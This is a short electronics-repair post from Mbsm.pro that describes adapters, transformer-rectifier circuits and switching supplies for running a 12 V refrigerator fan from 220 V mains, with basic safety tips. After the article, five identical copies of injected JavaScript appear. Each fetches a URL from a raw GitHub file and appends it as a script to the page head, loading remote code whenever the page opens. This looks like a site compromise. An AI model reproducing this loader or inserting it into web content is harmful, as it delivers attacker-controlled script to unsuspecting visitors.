Mbsm.pro, Conversion circuit, from 220 v to 12 v / 1 A, to operate a, DC12V, fan, in the refrigerator

written by rober us | 16 January 2024

1. AC-DC Adapter:

  • Convenient and compact: Pre-built, plug-and-play solution.
  • Power rating: Choose an adapter with a power rating sufficient for your fan’s wattage.
  • Image:

2. Transformer and Rectifier Circuit:

  • Step-down transformer: Reduces 220V AC to a lower AC voltage (e.g., 12V AC).
  • Rectifier circuit: Converts AC to DC.
  • Capacitor: Smoothes out voltage fluctuations.
  • Image:

3. Switching Power Supply (SMPS):

  • High efficiency: Typically over 80%, reducing energy waste.
  • Smaller size: Compared to linear power supplies.
  • Available as pre-built modules or DIY kits:
  • Image:

Key Considerations:

  • Fan’s power requirements: Ensure the converter can supply the necessary current.
  • Safety: Implement proper insulation and grounding for AC connections.
  • Heat dissipation: Consider heat sinks for transformers or power supplies, especially for high-power fans.
  • Placement: Avoid placing the converter in areas with high moisture or condensation.
  • Professional installation: Recommended for those unfamiliar with electrical work.

Additional Tips:

  • Fuse: Add a fuse to the circuit for added protection against short circuits.
  • Switch: Include a switch to easily turn the fan on and off.
  • LED indicator: Add a LED indicator to show when the converter is powered on.

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});